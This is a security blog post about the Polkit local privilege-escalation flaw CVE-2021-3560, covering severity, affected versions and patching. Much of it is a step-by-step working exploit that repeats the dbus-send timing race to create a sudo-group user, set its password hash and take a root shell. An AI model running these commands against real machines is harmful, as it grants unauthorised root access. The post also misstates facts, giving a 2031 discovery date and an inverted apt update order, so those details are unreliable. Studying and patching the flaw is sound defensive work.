Another vulnerability found on the Polkit system could enable a local user to gain root privileges by bypassing authentication. It is very much required to test and fix the Plokit vulnerability (CVE-2021-3560). We tell try covering most of the information about this vulnerability, affected versions, affected OS platforms, and the fix. Let’s get started.
Polkit is a small toolkit used for defining and handling authorizations on Unix/Linux platforms. It helps the unprivileged process to securely communicate with the privileged process. In essence, it stops unprivileged users from executing admin tasks. When a user tries to run a privileged task from $ prompt on Linux systems, the system will ask to enter a superuser password. That system is actually the Polkit service which is running under the line of control. It is installed by default on many Linux distributions. It’s used by the system, so any Linux distribution that uses systemd that also uses polkit.
The vulnerability on the Polkit service allows a local user to gain a root prompt on the system without passing the authentication. This is a serious vulnerability. However, the good news is that it needs local access to the machine to exploit this vulnerability. This flow is quite old. GitHub security researcher Kevin Backhouse said that issue was introduced in a code commit made on Nov. 09, 2013. It was made public by Redhat on Jun. 03, 2021, upon fixing the Plokit vulnerability (CVE-2021-3560).
Update: A new 12 year old local privilege escalation vulnerability (CVE-2021-4034) is discovered again in Polkit’s pkexce command-line tool.
CVE-2021-3560 | Red Hat |
---|---|
CVSS v3 Base Score | 7.8 |
Attack Vector | Local |
Attack Complexity | Low |
Privileges Required | Low |
User Interaction | None |
Scope | Unchanged |
Confidentiality | High |
Integrity Impact | High |
Availability Impact | High |
This flow is as old as seven years. It was first discovered in Nov 2031 in its first release, version 0.113. On RedHat Systems, the flow exists from v0.113 to v0.118.
However, the flaw is affected on Debian distribution’s as well with different versions. Because Debian systems have their own version scheme. On Debian systems, the flaw exists on v0.105-26.
There are few Linux versions affected: We suggest you to visit these distributions pages and follow their guidelines to fix the Plokit vulnerability.
RedHat: https://access.redhat.com/security/cve/CVE-2021-3560
Fedora: https://bugzilla.redhat.com/show_bug.cgi?id=1967424
Debian: https://security-tracker.debian.org/tracker/CVE-2021-3560
Ubunut: https://ubuntu.com/security/CVE-2021-3560
$ sudo yum install accountsservice gnome-control-center
$ ssh localhost
$ time dbus-send –system –dest=org.freedesktop.Accounts –type=method_call –print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:”Boris Ivanovich Grishenko” int32:1
$ dbus-send –system –dest=org.freedesktop.Accounts –type=method_call –print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:”Boris Ivanovich Grishenko” int32:1 & sleep 0.008s ; kill $!
A user boris will be created if you succeed in the attack
$ openssl passwd -5 ThesecMaster!#%&
$ dbus-send –system –dest=org.freedesktop.Accounts –type=method_call –print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:’$5$eCOGHvV.IgdjUFAu$TxsytDdjA9n/O3/POCCXnzMVg51Z4Gv7lVRq17qOisD’ string:GoldenEye & sleep 0.008s ; kill $!
$ su – boris
$ sudo su
Before we fix the Plokit vulnerability, we can test it just to ensure the machine is vulnerable to the attack. Three tools and two packages are required to exploit the Plokit vulnerability. Three tools are bash, kill, and dbus-send. Two packages are ‘accountsservice’ and ‘gnome-control-center (installed by default). If you have all these prerequisites, then it’s not that difficult and lengthy process to exploit the vulnerability, but it may need a bit of good luck as it needs perfect timing to circumvent the authorization process.
Note: accountsservice and gnome-control-center packages are needed to install if you are not running a graphical interface.
$ sudo yum install accountsservice gnome-control-center
Note: Authentication dialog will keep appearing each time you execute the command. Run the below command on an SSH session if you want to stop repeatedly triggering the authentication dialog box.
$ ssh localhost
The exploit process will start by triggering the ‘dbus-send’ command and killing it in the middle of processing the request. You should know the average time of execution to stop at the middle. Run this command for few times and capture the average time required to execute.
$ time dbus-send –system –dest=org.freedesktop.Accounts –type=method_call –print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:”Boris Ivanovich Grishenko” int32:1
After you note down the number of milliseconds your computer will take to execute the command, remote the ‘time’ at the beginning of the command and attach ‘& sleep 0.008s ; kill $!’ at the end. In this example, we are killing the ‘dbus-send’ process exactly at 8 milliseconds. You can set the time as per your system’s execution time.
$ dbus-send –system –dest=org.freedesktop.Accounts –type=method_call –print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:”Boris Ivanovich Grishenko” int32:1 & sleep 0.008s ; kill $!
Execute the command several times. Your system will create a new user named ‘boris’ after several attempts. Make sure the user-created from the below command.
$ id boris
User boris is a member of the sudo group. So you have achieved privilege escalation. Now, you need to set a password to the user boris. The D-Bus utility accepts only a hash value of your password. Calculate the hash of your password using OpenSSL tool.
$ openssl passwd -5 ThesecMaster!#%&
Output: $5$eCOGHvV.IgdjUFAu$TxsytDdjA9n/O3/POCCXnzMVg51Z4Gv7lVRq17qOisD
Use the same dbus-send command again, but this time use the SetPassword parameter.
$ dbus-send –system –dest=org.freedesktop.Accounts –type=method_call –print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:’$5$eCOGHvV.IgdjUFAu$TxsytDdjA9n/O3/POCCXnzMVg51Z4Gv7lVRq17qOisD’ string:GoldenEye & sleep 0.008s ; kill $!
Bear in mind that you need to figure out the average time and set the process to kill exactly at the middle of the process.
Try for several attempts until you succeed in setting the password.
Now you can log in as boris and change it to root:
$ su – boris
$ sudo su
The procedure to fix the Plokit vulnerability is very simple. You can either download the fixed packages from the Linux distribution websites (Provided in the previous section) and upgrade the package alone. Or run the system update. The problem could be fixed after running the system update.
Use this command to update the Polkit package on Ubuntu:
$ sudo apt install <package name>
Use this command if you want to update the system:
$ sudo apt upgrade && sudo apt update
We recommend rebooting after the system update. That’s all. This completes the procedure to fix the Plokit vulnerability.
Thanks for reading this post. Please share the post and spread awareness about the security.
You may also like these articles:
How To Fix The Polkit Privilege Escalation Vulnerability (CVE-2021-4034)
How to Fix CVE-2021-3156- A Remote Code Execution Vulnerability in Control Web Panel
How To Fix CVE-2021-44731 (Oh Snap!)- A Privilege Escalation Vulnerability In Snap Package Manager
Step by Step Procedure to Fix the New Ubuntu Overlayfs Vulnerability (CVE-2021-3493)
Arun KL is a cybersecurity professional with 15+ years of experience in IT infrastructure, cloud security, vulnerability management, Penetration Testing, security operations, and incident response. He is adept at designing and implementing robust security solutions to safeguard systems and data. Arun holds multiple industry certifications including CCNA, CCNA Security, RHCE, CEH, and AWS Security.
“Knowledge Arsenal: Empowering Your Security Journey through Continuous Learning”
"Cybersecurity All-in-One For Dummies" offers a comprehensive guide to securing personal and business digital assets from cyber threats, with actionable insights from industry experts.
BurpGPT is a cutting-edge Burp Suite extension that harnesses the power of OpenAI's language models to revolutionize web application security testing. With customizable prompts and advanced AI capabilities, BurpGPT enables security professionals to uncover bespoke vulnerabilities, streamline assessments, and stay ahead of evolving threats.
PentestGPT, developed by Gelei Deng and team, revolutionizes penetration testing by harnessing AI power. Leveraging OpenAI's GPT-4, it automates and streamlines the process, making it efficient and accessible. With advanced features and interactive guidance, PentestGPT empowers testers to identify vulnerabilities effectively, representing a significant leap in cybersecurity.
Tenable BurpGPT is a powerful Burp Suite extension that leverages OpenAI's advanced language models to analyze HTTP traffic and identify potential security risks. By automating vulnerability detection and providing AI-generated insights, BurpGPT dramatically reduces manual testing efforts for security researchers, developers, and pentesters.
Microsoft Security Copilot is a revolutionary AI-powered security solution that empowers cybersecurity professionals to identify and address potential breaches effectively. By harnessing advanced technologies like OpenAI's GPT-4 and Microsoft's extensive threat intelligence, Security Copilot streamlines threat detection and response, enabling defenders to operate at machine speed and scale.